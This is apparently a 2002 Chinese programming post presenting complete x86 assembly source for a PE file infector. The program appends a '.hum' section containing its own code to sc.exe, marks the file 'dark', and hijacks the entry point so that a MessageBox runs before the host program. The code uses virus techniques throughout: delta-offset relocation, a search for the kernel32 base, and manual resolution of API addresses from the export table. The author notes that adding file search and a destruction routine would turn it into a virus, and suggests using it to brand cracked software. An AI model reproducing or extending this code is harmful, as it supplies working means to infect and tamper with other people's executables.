闲来写了个修改PE的小程序,主要是演示和实践PE操作和重定位的概念,实在没事情的时候,可以看看,你将会看到PE文件实际上很简单!当然,首先得作好被我的垃圾代码扫了雅兴的准备.
这里利用的是我前面介绍的方法的手动查找API的方法.这个东西修改PE并在最后加上一节,节名'.hum',被附加程序启动前会显示一个MsgBox,以显示一些信息,你可以用来给自己破的软件来一个所谓的版权信息(我最痛恨的就是....这个!烦),当然也可以执行其他一些操作,实际上,再加上文件搜索功能和破坏例程,这就将是一个最简单的病毒....
这个例子没有优化,也没有安排好结构,有兴趣的凑合着看吧,另外还有一些冗余,没有兴趣整理了. 编译要加入/section:.text,RWE选项.默认操作是对同目录下的sc.exe(heh..,my starcraft). .记住,PE文件实际上是很简单的,只要你耐心看下去. 注:虽然用了Virus字样,但不是病毒...
.586 .model flat, stdcall option casemap :none ; case sensitive include c:\hd\hd.h include c:\hd\mac.h
;;--------------
GetApiA proto :DWORD,:DWORD
;;-------------- .CODE VirusLen = vEnd-vBegin ;Virus 长度 vBegin: ;----------------------------------------- include s_api.asm ;查找需要的api地址 ;-----------------------------------------
desfile db "sc.exe",0 fsize dd ? hfile dd ? hMap dd ? pMem dd ? ;----------------------------------------- pe_Header dd ? sec_align dd ? file_align dd ? newEip dd ? oldEip dd ? inc_size dd ? oldEnd dd ? ;-----------------------------------------
sMessageBoxA db "MessageBoxA",0
aMessageBoxA dd 0
;;临时变量... sztit db "By Hume,2002",0 szMsg0 db "Hey,Hope U enjoy it!",0 CopyRight db "The SoftWare WAS OFFERRED by Hume[AfO]",0dh,0ah db " Thx for using it!",0dh,0ah db "Contact: [email protected]",0dh,0ah db " humeasm.yeah.net",0dh,0ah db "The add Code SiZe:(heX)"
val dd 0,0,0,0 ;;-----------------------------------------
__Start: call _gd _gd: pop ebp ;得到delta地址 sub ebp,offset _gd ;因为在其他程序中基址可能不是默认的所以需要重定位 mov dword ptr [ebp+appBase],ebp ;呵呵仔细想想 mov eax,[esp] ;返回地址 xor edx,edx getK32Base: dec eax ;逐字节比较验证 mov dx,word ptr [eax+IMAGE_DOS_HEADER.e_lfanew] ;就是ecx+3ch test dx,0f000h ;Dos Header+stub不可能太大,超过4096byte jnz getK32Base ;加速检验 cmp eax,dword ptr [eax+edx+IMAGE_NT_HEADERS.OptionalHeader.ImageBase] jnz getK32Base ;看Image_Base值是否等于ecx即模块起始值, mov [ebp+k32Base],eax ;如果是,就认为找到kernel32的Base值 lea edi,[ebp+aGetModuleHandle] lea esi,[ebp+lpApiAddrs] lop_get: lodsd cmp eax,0 jz End_Get add eax,ebp push eax push dword ptr [ebp+k32Base] call GetApiA stosd jmp lop_get ;获得api地址,参见s_api文件
End_Get: call my_infect
include dislen.asm ;----------------------------------------- CouldNotInfect:
__where: xor eax,eax ;判断是否是已经附加,标志'dark' push eax call [ebp+aGetModuleHandle] mov esi,eax add esi,[esi+3ch] ;->esi->程序本身的Pe_header cmp dword ptr [esi+8],'dark' je jmp_oep
jmp __xit ;退出启动程序 jmp_oep: add eax,[ebp+oldEip] jmp eax ;跳到宿主程序的入口点
my_infect: ;感染部分,文件读写操作,Pe文件修改参见modipe.asm文件 xor eax,eax push eax push eax push OPEN_EXISTING push eax push eax push GENERIC_READ+GENERIC_WRITE lea eax,[ebp+desfile] push eax call [ebp+aCreateFile] ;打开目标文件 inc eax je __Err
dec eax mov [ebp+hfile],eax push eax
sub ebx,ebx push ebx push eax ;得到文件大小 call [ebp+aGetFileSize] inc eax je __sclosefile dec eax mov [ebp+fsize],eax xchg eax,ecx add ecx,1000h ;文件大小增加...4096 pop eax
xor ebx,ebx ;创建映射文件 push ebx push ecx ;文件大小等于原大小+Vsize push ebx push PAGE_READWRITE push ebx push eax call [ebp+aCreateFileMapping] test eax,eax je __sclosefile mov [ebp+hMap],eax ;创建成功否? xor ebx,ebx push ebx push ebx push ebx push FILE_MAP_WRITE push eax call [ebp+aMapViewOfFile] test eax,eax je __sclosemap ; 映射文件,是否成功? mov [ebp+pMem],eax ;-------------------------------------------- ; the following is modifying part,add new section ;-------------------------------------------- include modipe.asm
__sunview: push [ebp+pMem] call [ebp+aUnmapViewOfFile] __sclosemap: push [ebp+hMap] call [ebp+aCloseHandle] __sclosefile: push [ebp+hfile] call [ebp+aCloseHandle] __Err:: ret ;----------------------------------------- __xit:
push 0 call [ebp+aExitProcess] vEnd: ;-----------------------------------------
END __Start ;;============================================== ;;s_api.asm ;;手动查找api部分
K32_api_retrieve proc Base:DWORD ,sApi:DWORD
push edx ;保存edx xor eax,eax ;此时esi=sApi Next_Api: ;edi=AddressOfNames mov esi,sApi xor edx,edx dec edx Match_Api_name: movzx ebx,byte ptr [esi] inc esi cmp ebx,0 je foundit
inc edx
push eax mov eax,[edi+eax*4] ;AddressOfNames的指针,递增 add eax,Base ;注意是RVA,一定要加Base值 cmp bl,byte ptr [eax+edx] ;逐字符比较 pop eax je Match_Api_name ;继续搜寻 inc eax ;不匹配,下一个api loop Next_Api no_exist: pop edx ;若全部搜完,即未存在 xor eax,eax ret foundit: pop edx ;edx=AddressOfNameOrdinals ;*2得到AddressOfNameOrdinals的指针 movzx eax,word ptr [edx+eax*2] ;eax返回指向AddressOfFunctions的指针 ret K32_api_retrieve endp ;-----------------------------------------
GetApiA proc Base:DWORD,sApi:DWORD local ADDRofFun:DWORD pushad mov esi,Base mov eax,esi mov ebx,eax mov ecx,eax mov edx,eax mov edi,eax ;all is Base!
add ecx,[ecx+3ch] ;现在esi=off PE_HEADER
add esi,[ecx+78h] ;得到esi=IMAGE_EXPORT_DIRECTORY入口 add eax,[esi+1ch] ;eax=AddressOfFunctions的地址 mov ADDRofFun,eax mov ecx,[esi+18h] ;ecx=NumberOfNames
add edx,[esi+24h] ;edx=AddressOfNameOrdinals
add edi,[esi+20h] ;esi=AddressOfNames
invoke K32_api_retrieve,Base,sApi
mov ebx,ADDRofFun mov eax,[ebx+eax*4] ;要*4才得到偏移
add eax,Base ;加上Base! mov [esp+7*4],eax ;eax返回api地址 popad ret GetApiA endp
u32 db "User32.dll",0 k32 db "Kernel32.dll",0
appBase dd ? k32Base dd ? ;-----------------------------------------apis needed
lpApiAddrs label near dd offset sGetModuleHandle dd offset sGetProcAddress dd offset sLoadLibrary dd offset sCreateFile dd offset sCreateFileMapping dd offset sMapViewOfFile dd offset sUnmapViewOfFile dd offset sCloseHandle dd offset sGetFileSize dd offset sSetEndOfFile dd offset sSetFilePointer
dd offset sExitProcess dd 0,0
sGetModuleHandle db "GetModuleHandleA",0 sGetProcAddress db "GetProcAddress",0 sLoadLibrary db "LoadLibraryA",0 sCreateFile db "CreateFileA",0 sCreateFileMapping db "CreateFileMappingA",0 sMapViewOfFile db "MapViewOfFile",0 sUnmapViewOfFile db "UnmapViewOfFile",0 sCloseHandle db "CloseHandle",0 sGetFileSize db "GetFileSize",0 sSetFilePointer db "SetFilePointer",0 sSetEndOfFile db "SetEndOfFile",0
sExitProcess db "ExitProcess",0
aGetModuleHandle dd 0 aGetProcAddress dd 0 aLoadLibrary dd 0 aCreateFile dd 0 aCreateFileMapping dd 0 aMapViewOfFile dd 0 aUnmapViewOfFile dd 0 aCloseHandle dd 0 aGetFileSize dd 0 aSetFilePointer dd 0 aSetEndOfFile dd 0
aExitProcess dd 0 ;----------------------------------------- ;;========================modipe.asm================= ;修改pe,添加节,实现传染功能
xchg eax,esi cmp word ptr [esi],'ZM' jne CouldNotInfect add esi,[esi+3ch] ;指向PE_HEADER cmp word ptr [esi],'EP' jne CouldNotInfect ;是否是PE,否则不感染 cmp dword ptr [esi+8],'dark' je CouldNotInfect mov [ebp+pe_Header],esi ;保存pe_Header指针
mov ecx,[esi+74h] ;得到directory的数目 imul ecx,ecx,8
lea eax,[ecx+esi+78h] ;data directory eax->节表起始地址 movzx ecx,word ptr [esi+6h] ;节数目 imul ecx,ecx,28h ;得到所有节表的大小 add eax,ecx ;节结尾... xchg eax,esi ;eax->Pe_header,esi->最后节开始偏移
;;************************** ;;添加如下结构: ;;name .hum ;;VirtualSize==原size+VirSize ;;VirtualAddress= ;;SizeOfRawData 对齐 ;;PointerToRawData ;;PointerToRelocations dd 0 ;;PointerToLinenumbers dd ? ;;NumberOfRelocations dw ? ;;NumberOfLinenumbers dw ? ;;Characteristics dd ? ;;************************** mov dword ptr [esi],'muh.' ;节名.hum mov dword ptr [esi+8],VirusLen ;实际大小 ;计算VirtualSize和V.addr mov ebx,[eax+38h] ;SectionAlignment mov [ebp+sec_align],ebx mov edi,[eax+3ch] ;file align mov [ebp+file_align],edi mov ecx,[esi-40+0ch] ;上一节的V.addr mov eax,[esi-40+8] ;上一节的实际大小
xor edx,edx div ebx ;除以节对齐 test edx,edx je @@@1 inc eax @@@1: mul ebx ;对齐后的节大小 add eax,ecx ;加上V.addr就是新节的起始V.addr mov [esi+0ch],eax ;保存新section偏移RVA add eax,__Start-vBegin mov [ebp+newEip],eax ;计算新的eip
mov dword ptr [esi+24h],0E0000020h ;属性
mov eax,VirusLen ;计算SizeOfRawData的大小 cdq div edi ;节的文件对齐 je @@@2 inc eax @@@2: mul edi mov dword ptr [esi+10h],eax ;保存节对齐文件的大小
mov eax,[esi-40+14h] add eax,[esi-40+10h] mov [esi+14h],eax ;PointerToRawData更新 mov [ebp+oldEnd],eax ;最后文件增加到...?
mov eax,[ebp+pe_Header] inc word ptr [eax+6h] ;更新节数目 mov ebx,[eax+28h] ;eip指针偏移 mov [ebp+oldEip],ebx ;保存老指针 mov ebx,[ebp+newEip] mov [eax+28h],ebx ;更新指针值
;comment $ mov ebx,[eax+50h] ;更新ImageSize add ebx,VirusLen mov ecx,[ebp+sec_align] xor edx,edx xchg eax,ebx ;eax和ebx交换... cdq div ecx test edx,edx je @@@3 inc eax @@@3: mul ecx xchg eax,ebx ;还原 eax->pe_Header mov [eax+50h],ebx ;保更新后的Image_Size大小 ;$ mov dword ptr [eax+8],'dark' cld ;写入 mov ecx,VirusLen mov edi,[ebp+oldEnd] add edi,[ebp+pMem] lea esi,[ebp+vBegin] rep movsb ;写入文件,all is OK! xor eax,eax sub edi,[ebp+pMem]
push FILE_BEGIN push eax push edi push [ebp+hfile] call [ebp+aSetFilePointer]
push [ebp+hfile] call [ebp+aSetEndOfFile] ;============================disLen.asm lea eax,[ebp+u32] push eax call dword ptr [ebp+aLoadLibrary] test eax,eax jnz @g1 @g1: lea EDX,[EBP+sMessageBoxA] push edx push eax mov eax,dword ptr [ebp+aGetProcAddress] call eax mov [ebp+aMessageBoxA],eax
;----------------------------------------- mov ebx,VirusLen mov ecx,8 cld lea edi,[ebp+val] L1: rol ebx,4 call binToAscii loop L1
push 40h+1000h lea eax,[ebp+sztit] push eax lea eax,[ebp+CopyRight] push eax push 0 call [ebp+aMessageBoxA]
jmp __where ;-----------------------------------------
binToAscii proc near mov eax,ebx and eax,0fh add al,30h cmp al,39h jbe @f add al,7 @@: stosb ret binToAscii endp ;----------------------------over-----by hume

|